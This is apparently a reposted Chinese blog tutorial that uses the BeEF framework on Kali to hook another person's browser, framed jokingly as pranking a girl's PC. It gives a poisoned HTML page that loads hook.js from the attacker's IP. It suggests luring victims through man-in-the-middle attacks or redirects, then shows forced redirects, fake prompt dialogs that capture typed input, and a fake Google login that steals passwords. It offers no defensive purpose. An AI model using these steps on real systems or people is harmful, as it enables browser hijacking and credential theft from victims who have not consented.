内网漫步之如何调戏妹纸

偏执的太偏执、 2021-11-01 17:26 244阅读 0赞

### 环境说明： ###

*  kali linux(192.168.0.114) 黑阔滴设备
 *  win7 (192.168.0.113) 妹纸的pc

### 认识beef ###

`BEEF` (The Browser Exploitation Framework)：一款浏览器攻击框架，用Ruby语言开发的，Kali中默认安装的一个模块，用于实现对XSS漏洞的攻击和利用。

`BeEF`主要是往网页中插入一段名为`hook.js`的JS脚本代码，如果浏览器访问了有`hook.js`(钩子)的页面，就会被hook(勾住)，勾连的浏览器会执行初始代码返回一些信息，接着目标主机会每隔一段时间（默认为1秒）就会向BeEF服务器发送一个请求，询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用，被分为前端和后端。前端会轮询后端是否有新的数据需要更新，同时前端也可以向后端发送指示， BeEF持有者可以通过浏览器来登录 BeEF 的后端，来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。  
[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi80MmNiYjhjZDk5OTIxMmQxNGRkNjdlNDRjNzA2ZGQ1OQ]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi80MmNiYjhjZDk5OTIxMmQxNGRkNjdlNDRjNzA2ZGQ1OQ 1]

### 启动BEEF ###

方法一：点击栏目中的图标即可启动。  
方法二：执行命令`beef-xss`  
kali已经把beef-xss做成服务了，我们也可以使用systemctl 命令来启动或关闭beef服务

systemctl start beef-xss.service         #开启beef服务
    systemctl stop beef-xss.service         #关闭beef服务
    systemctl restart beef-xss.service      #重启beef服务

Shell

* 复制*

[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81OThjMzM1NTYwZmU2ZjZhZmZjODExNDc4OGVhNGY3Mg]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81OThjMzM1NTYwZmU2ZjZhZmZjODExNDc4OGVhNGY3Mg 1]  
**注意：**初次配置要求我们输入我们的账号和密码（自行设定）  
启动完成后，会自动跳转到浏览器的管理页面。输入我们刚才设置的账号和密码，登入系统。初始账号和密码均为`beef`  
[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi80NzJiODVhNDcxZjMzMmI4MTc2ZTY2ZDRjNDg4MDc5ZQ]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi80NzJiODVhNDcxZjMzMmI4MTc2ZTY2ZDRjNDg4MDc5ZQ 1]

### 配置我们的钩子 ###

方法有两种这里简单说下：  
方法一：找含有xss漏洞的网站，插入js达到攻击目标。  
方法二：自己写一个含有毒化的网页，让他人访问。（内网+外网）  
这里以方法二为列：写个简单的页面。

<!doctype html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>啦啦啦</title>
    </head>
    
    <body>
    <h1>bbskali.cn</h1>
    <script src="http://192.168.0.114:3000/hook.js"></script>
    </body>
    </html>

HTML

* 复制*

也就是说，想办法让别人访问我刚才写的这个页面。即可达到攻击的目标。方法比较多，如中间人攻击，重定向，挂黑页等等。

### 攻击演示 ###

演示一 （设备上线）

当攻击端访问我们的网页，在`beef`控制台中我们就可以看到上线的设备。  
[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi83YTA2ZjQwNTYxZDEwM2M1MjNjZTE4NDVhZjMwNTcwNQ]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi83YTA2ZjQwNTYxZDEwM2M1MjNjZTE4NDVhZjMwNTcwNQ 1]

### 设备攻击 ###

点击我们的设备，选择`commands`选项卡，我们可以看到有很多攻击模块。  
[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9jYTlhOTE1MDgxYThhMTViZjNmNGNlMDNlMDFkMDE3MQ]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9jYTlhOTE1MDgxYThhMTViZjNmNGNlMDNlMDFkMDE3MQ 1]

读者可能发现在每个模块的前面都有一个有色（绿色，灰色，橙色，红色）的小圆标志。

在内部，BeEF可以检测出哪些命令模块可以在当前受害的浏览器工作， 并用颜色表示：

`绿色`：命令模块可以在目标浏览器上运行，且用户不会感到任何异常

`橙色`：命令模块可以在目标浏览器上运行，但是用户可能会感到异常（比如可能会有弹窗，提示，跳转等）

`灰色`：命令模块尚未针对此目标进行验证，即不知道能否可运行

`红色`：命令模块不适用于此目标  
这里给大家演示几个模块。其他的大家自己自娱自乐！

让浏览器自动访问指定的网站

点击`Browser`\--`hooked Doman` --`Redirect Browser`输入我们的目标网址后点击`Execute`即可完成攻击。返回到刚才打开的页面，发现自动跳转到了kali论坛。

[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi85OTc2ZjIwMmU3N2M3NGRhY2MzZGJhOGFjODY3OWM5MQ]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi85OTc2ZjIwMmU3N2M3NGRhY2MzZGJhOGFjODY3OWM5MQ 1]

弹出对话框

点击`Browser`\--`hooked Doman` --`Create Alert Dialog`输入我们要弹出的信息后点击`Execute`即可完成攻击。  
[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi84OGZjNGI3ZjUxMzhlM2M3YzkxMzlhYWJjZmQ2MTUyNg]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi84OGZjNGI3ZjUxMzhlM2M3YzkxMzlhYWJjZmQ2MTUyNg 1]  
效果如下：  
[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9mZjcwNDUxY2NlMDkzZDQzMDMxYTlkNjdjMzJkZjc3ZQ]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9mZjcwNDUxY2NlMDkzZDQzMDMxYTlkNjdjMzJkZjc3ZQ 1]

弹出输入信息框

点击`Browser`\--`hooked Doman` --`Create Prompt Dialog`输入我们要弹出的信息后点击`Execute`即可完成攻击。  
[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81MTI4Y2E2MDc5NGJmOTQ1MTc4NTM2MzI5YjBjZjY4MQ]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81MTI4Y2E2MDc5NGJmOTQ1MTc4NTM2MzI5YjBjZjY4MQ 1]  
同样的方式，当我们输入信息后，即可在管理面板看到刚才输入的信息！  
[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi8wMzgxM2MzZDQ1NDJjZmIzN2Q3MTk3MTkxZDdhZGM5Mw]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi8wMzgxM2MzZDQ1NDJjZmIzN2Q3MTk3MTkxZDdhZGM5Mw 1]  
结果：  
[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9iZGIzYTExMzUxOTg2MzdiM2NlOTJhN2Q5YTE2ODYzMA]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9iZGIzYTExMzUxOTg2MzdiM2NlOTJhN2Q5YTE2ODYzMA 1]

制作钓鱼网站

选择`Scoial Engineering`\--`Google phishing`改为我们kali的ip地址。点击`Execute`  
[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9hMjQ3OTk4MzA5MzkwMjYwOTFkMDQzZDNlYTJmMDUwYw]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9hMjQ3OTk4MzA5MzkwMjYwOTFkMDQzZDNlYTJmMDUwYw 1]  
我们的页面变成了google的登录页面  
[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81MmQyMTkyZTZmN2ZhYzliOGI2ZGQ5MGFlNGYyMGEwOA]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81MmQyMTkyZTZmN2ZhYzliOGI2ZGQ5MGFlNGYyMGEwOA 1]

输入我们的账号和密码  
[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9hY2ViMjg4MTI3NzMyZjA2YWE4NDhjOGVhNTY4ODI3Yw]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9hY2ViMjg4MTI3NzMyZjA2YWE4NDhjOGVhNTY4ODI3Yw 1]  
获取到的密码  
[![请输入图片描述][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi8zZTI2YzQwMGU1ZTA1OTRkZjg0NjBmMDA1Y2YxOGEzMw]][aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi8zZTI2YzQwMGU1ZTA1OTRkZjg0NjBmMDA1Y2YxOGEzMw 1]

--------------------

> 版权属于：逍遥子
> 
> 本文链接：[https://blog.bbskali.cn/index.php/archives/1366/][https_blog.bbskali.cn_index.php_archives_1366]
> 
> 转载时须注明出处及本声明

[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi80MmNiYjhjZDk5OTIxMmQxNGRkNjdlNDRjNzA2ZGQ1OQ]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi80MmNiYjhjZDk5OTIxMmQxNGRkNjdlNDRjNzA2ZGQ1OQ
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi80MmNiYjhjZDk5OTIxMmQxNGRkNjdlNDRjNzA2ZGQ1OQ 1]: https://niu.bbskali.cn/42cbb8cd999212d14dd67e44c706dd59
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81OThjMzM1NTYwZmU2ZjZhZmZjODExNDc4OGVhNGY3Mg]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81OThjMzM1NTYwZmU2ZjZhZmZjODExNDc4OGVhNGY3Mg
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81OThjMzM1NTYwZmU2ZjZhZmZjODExNDc4OGVhNGY3Mg 1]: https://niu.bbskali.cn/598c335560fe6f6affc8114788ea4f72
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi80NzJiODVhNDcxZjMzMmI4MTc2ZTY2ZDRjNDg4MDc5ZQ]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi80NzJiODVhNDcxZjMzMmI4MTc2ZTY2ZDRjNDg4MDc5ZQ
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi80NzJiODVhNDcxZjMzMmI4MTc2ZTY2ZDRjNDg4MDc5ZQ 1]: https://niu.bbskali.cn/472b85a471f332b8176e66d4c488079e
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi83YTA2ZjQwNTYxZDEwM2M1MjNjZTE4NDVhZjMwNTcwNQ]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi83YTA2ZjQwNTYxZDEwM2M1MjNjZTE4NDVhZjMwNTcwNQ
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi83YTA2ZjQwNTYxZDEwM2M1MjNjZTE4NDVhZjMwNTcwNQ 1]: https://niu.bbskali.cn/7a06f40561d103c523ce1845af305705
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9jYTlhOTE1MDgxYThhMTViZjNmNGNlMDNlMDFkMDE3MQ]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9jYTlhOTE1MDgxYThhMTViZjNmNGNlMDNlMDFkMDE3MQ
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9jYTlhOTE1MDgxYThhMTViZjNmNGNlMDNlMDFkMDE3MQ 1]: https://niu.bbskali.cn/ca9a915081a8a15bf3f4ce03e01d0171
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi85OTc2ZjIwMmU3N2M3NGRhY2MzZGJhOGFjODY3OWM5MQ]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi85OTc2ZjIwMmU3N2M3NGRhY2MzZGJhOGFjODY3OWM5MQ
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi85OTc2ZjIwMmU3N2M3NGRhY2MzZGJhOGFjODY3OWM5MQ 1]: https://niu.bbskali.cn/9976f202e77c74dacc3dba8ac8679c91
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi84OGZjNGI3ZjUxMzhlM2M3YzkxMzlhYWJjZmQ2MTUyNg]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi84OGZjNGI3ZjUxMzhlM2M3YzkxMzlhYWJjZmQ2MTUyNg
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi84OGZjNGI3ZjUxMzhlM2M3YzkxMzlhYWJjZmQ2MTUyNg 1]: https://niu.bbskali.cn/88fc4b7f5138e3c7c9139aabcfd61526
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9mZjcwNDUxY2NlMDkzZDQzMDMxYTlkNjdjMzJkZjc3ZQ]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9mZjcwNDUxY2NlMDkzZDQzMDMxYTlkNjdjMzJkZjc3ZQ
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9mZjcwNDUxY2NlMDkzZDQzMDMxYTlkNjdjMzJkZjc3ZQ 1]: https://niu.bbskali.cn/ff70451cce093d43031a9d67c32df77e
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81MTI4Y2E2MDc5NGJmOTQ1MTc4NTM2MzI5YjBjZjY4MQ]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81MTI4Y2E2MDc5NGJmOTQ1MTc4NTM2MzI5YjBjZjY4MQ
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81MTI4Y2E2MDc5NGJmOTQ1MTc4NTM2MzI5YjBjZjY4MQ 1]: https://niu.bbskali.cn/5128ca60794bf945178536329b0cf681
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi8wMzgxM2MzZDQ1NDJjZmIzN2Q3MTk3MTkxZDdhZGM5Mw]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi8wMzgxM2MzZDQ1NDJjZmIzN2Q3MTk3MTkxZDdhZGM5Mw
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi8wMzgxM2MzZDQ1NDJjZmIzN2Q3MTk3MTkxZDdhZGM5Mw 1]: https://niu.bbskali.cn/03813c3d4542cfb37d7197191d7adc93
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9iZGIzYTExMzUxOTg2MzdiM2NlOTJhN2Q5YTE2ODYzMA]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9iZGIzYTExMzUxOTg2MzdiM2NlOTJhN2Q5YTE2ODYzMA
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9iZGIzYTExMzUxOTg2MzdiM2NlOTJhN2Q5YTE2ODYzMA 1]: https://niu.bbskali.cn/bdb3a1135198637b3ce92a7d9a168630
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9hMjQ3OTk4MzA5MzkwMjYwOTFkMDQzZDNlYTJmMDUwYw]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9hMjQ3OTk4MzA5MzkwMjYwOTFkMDQzZDNlYTJmMDUwYw
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9hMjQ3OTk4MzA5MzkwMjYwOTFkMDQzZDNlYTJmMDUwYw 1]: https://niu.bbskali.cn/a24799830939026091d043d3ea2f050c
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81MmQyMTkyZTZmN2ZhYzliOGI2ZGQ5MGFlNGYyMGEwOA]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81MmQyMTkyZTZmN2ZhYzliOGI2ZGQ5MGFlNGYyMGEwOA
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi81MmQyMTkyZTZmN2ZhYzliOGI2ZGQ5MGFlNGYyMGEwOA 1]: https://niu.bbskali.cn/52d2192e6f7fac9b8b6dd90ae4f20a08
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9hY2ViMjg4MTI3NzMyZjA2YWE4NDhjOGVhNTY4ODI3Yw]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9hY2ViMjg4MTI3NzMyZjA2YWE4NDhjOGVhNTY4ODI3Yw
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi9hY2ViMjg4MTI3NzMyZjA2YWE4NDhjOGVhNTY4ODI3Yw 1]: https://niu.bbskali.cn/aceb288127732f06aa848c8ea568827c
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi8zZTI2YzQwMGU1ZTA1OTRkZjg0NjBmMDA1Y2YxOGEzMw]: https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi8zZTI2YzQwMGU1ZTA1OTRkZjg0NjBmMDA1Y2YxOGEzMw
[aHR0cHM6Ly9uaXUuYmJza2FsaS5jbi8zZTI2YzQwMGU1ZTA1OTRkZjg0NjBmMDA1Y2YxOGEzMw 1]: https://niu.bbskali.cn/3e26c400e5e0594df8460f005cf18a33
[https_blog.bbskali.cn_index.php_archives_1366]: https://blog.bbskali.cn/index.php/archives/1366/